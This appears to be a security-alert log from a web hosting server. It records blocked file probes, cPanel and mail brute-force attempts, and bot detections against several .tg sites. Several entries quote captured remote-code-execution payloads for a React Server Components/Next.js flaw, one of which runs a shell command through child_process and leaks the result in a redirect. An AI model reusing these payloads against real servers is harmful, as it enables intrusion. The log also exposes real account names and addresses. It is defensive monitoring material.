IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/qa.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/nextjs.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.189.83.195
country_id: 2635167
domain: vo2.mairie.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.old||User:fknmkmrv||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/dotnet.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.74.22.41
country_id: 2017370
description:
[2026-06-13 03:31:56 +0000] info [cpaneld] 45.74.22.41 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 148.113.166.150
country_id: 6251999
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/prestashop.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/drupal.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/kirby.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pip.sql||User:antasadmin||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 83.142.52.29
country_id: 294640
domain: www.v2.arse.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.www.v2.arse.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/pipeline.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/docker-compose.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/logs.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/users.sql||User:antasadmin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.199.119.136
country_id: 6252001
description:
Jun 13 03:38:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.199.119.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/migrations.sql||User:antasadmin||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:03:40:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066023&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322049 HTTP/1.1" 404 561 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/certificates.sql||User:antasadmin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.74.22.41
country_id: 2017370
description:
[2026-06-13 03:41:10 +0000] info [cpaneld] 45.74.22.41 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 52.80.102.53
country_id: 1814991
domain: macite.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:03:41:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134998&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322064 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:03:40:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986901&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322054 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup/site_backup.sql||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:03:41:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184560&pdata=https%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322101 HTTP/2.0" 302 0 alerte.tg "https://alerte.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup/restore.sql||User:antasadmin||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 45.3.36.169
country_id: 6252001
domain: auditeccandco.com
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; JSN-L21 Build/HONORJSN-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.73 Mobile Safari/537.36  trill_2022307030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/23.7.3 ByteLocale/pl-PL ByteFullLocale/pl-PL Region/GB BytedanceWebview/d8a21c6||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 03:48:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.11
country_id: 6252001
description:
205.169.39.11 - - [13/Jun/2026:03:51:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003618&pdata=http%253A%252F%252Falerte.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781322667 HTTP/1.1" 302 0 alerte.tg "http://alerte.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.87.42
country_id: 3865483
description:
Jun 13 03:57:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.87.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.14
country_id: 1835841
description:
Jun 13 03:58:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.14 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 195.40.121.168
country_id: 1861060
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:195.40.121.168||TA:195.40.121.168||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.245.206.48
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:151.245.206.48||TA:151.245.206.48||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 13 03:59:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 204.217.245.23
country_id: 2635167
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:204.217.245.23||TA:204.217.245.23||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.103.99
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.103.99||TA:152.232.103.99||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.139.108
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:172.121.139.108||TA:172.121.139.108||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.156.162.139
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:bien-etre-des-communautes-togolaises-une-lettre-de-mission-executee-a-974/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 04:04:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.198.173.145
country_id: 1819730
description:
Jun 13 04:13:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.198.173.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 04:13:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun 13 04:13:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.152.237.47
country_id: 1814991
description:
2026-06-13 04:18:58 dovecot_plain authenticator failed for H=(jxrezrtbgoe7o2yklb97lnj) [123.152.237.47]:17300: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.238.96
country_id: 1814991
description:
Jun 13 04:20:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.238.96 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: mail.marketplace.netmaster.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.39
country_id: 2921044
description:
Jun 13 04:20:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.39
country_id: 2921044
description:
2026-06-13 04:20:35 dovecot_plain authenticator failed for H=tor-exit-39.for-privacy.net (DESKTOP-53E0LT9) [185.220.101.39]:6407: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.249
country_id: 2921044
description:
Jun 13 04:23:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.249
country_id: 2921044
description:
2026-06-13 04:23:40 dovecot_plain authenticator failed for H=tor-exit-10.zbau.f3netze.de (DESKTOP-53E0LT9) [185.220.100.249]:43020: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.25.193.132
country_id: 2661886
description:
Jun 13 04:24:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.25.193.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.25.193.132
country_id: 2661886
description:
2026-06-13 04:24:05 dovecot_plain authenticator failed for H=tor-exit-read-me.dfri.se (DESKTOP-53E0LT9) [171.25.193.132]:38594: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 98.92.97.151
country_id: 6252001
domain: mail.test.free.netmaster.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.8
country_id: 3175395
description:
Jun 13 04:24:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: mail.test.free.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"x_df6882f1\":null,\"ns_cb56b85d\":0.0,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"$09eae2db\":null,\"ns_492a837b\":\"5713\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var agcxu=arguments['\\\\x31'];var qvgo=agcxu;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 04:25:20 +0000] info [cpaneld] 45.61.130.187 - administration "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user administration (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.218.116.220
country_id: 1819730
description:
Jun 13 04:25:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.218.116.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.218.116.220
country_id: 1819730
description:
2026-06-13 04:25:50 dovecot_login authenticator failed for H=(8.218.116.220) [8.218.116.220]:59463: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.110.75.44
country_id: 102358
description:
5.110.75.44 - - [13/Jun/2026:04:27:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989223&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftransformation-digitale-au-togo-lancement-imminent-du-projet-didentification-unique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781324844 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/transformation-digitale-au-togo-lancement-imminent-du-projet-didentification-unique/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.6100.1990 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.110.75.44


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.246
country_id: 2921044
description:
Jun 13 04:28:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.246
country_id: 2921044
description:
2026-06-13 04:28:59 dovecot_plain authenticator failed for H=tor-exit-7.zbau.f3netze.de (DESKTOP-53E0LT9) [185.220.100.246]:52630: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.149
country_id: 2921044
description:
Jun 13 04:29:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.149
country_id: 2921044
description:
2026-06-13 04:29:27 dovecot_plain authenticator failed for H=(DESKTOP-53E0LT9) [185.220.101.149]:34285: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 89.124.94.93
country_id: 2750405
domain: c2ie.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Nicholascis||Email:p.r.i.es.tch.ub.bs.33.9@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.124.94.93
country_id: 2750405
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:04-29.89.124.94.93||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 04:29:28 +0000] info [cpaneld] 36.70.11.90 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: marketplace.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"x_6b1dcb99\":\"e5a2062be6757bc8\",\"_response\":{\"_prefix\":\"var phuwx=[].slice.call(arguments,1)[0];var anm=phuwx;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 85.254.137.173
country_id: 6251999
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-31.85.254.137.173||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:04:32:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999714&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325119 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 04:32:06 +0000] info [cpaneld] 105.155.55.78 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:04:31:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012311&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325089 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:04:31:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921330&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325101 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.183.50
country_id: 1269750
description:
Jun 13 04:32:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.183.50 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:04:32:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973290&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325139 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 13 04:33:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 04:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 152.42.228.153
country_id: 1880251
domain: 154.70.82.244
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.23
country_id: 6252001
description:
205.169.39.23 - - [13/Jun/2026:04:35:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723943&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325352 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.23


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-13 04:36:02 +0000] info [cpaneld] 157.66.56.231 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.160.252.171
country_id: 3469034
description:
[2026-06-13 04:36:11 +0000] info [cpaneld] 45.160.252.171 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.76.88.37
country_id: 1733045
description:
2026-06-13 04:37:11 H=([103.76.88.37]) [103.76.88.37]:64984 F=<info@sample.com> rejected RCPT <blakeshelton007@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.139.114.190
country_id: 3865483
description:
[2026-06-13 04:36:23 +0000] info [cpaneld] 190.139.114.190 - metaa "GET /login/?login_only=1&user=metaa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.126.121
country_id: 3895114
description:
[2026-06-13 04:36:26 +0000] info [cpaneld] 181.43.126.121 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
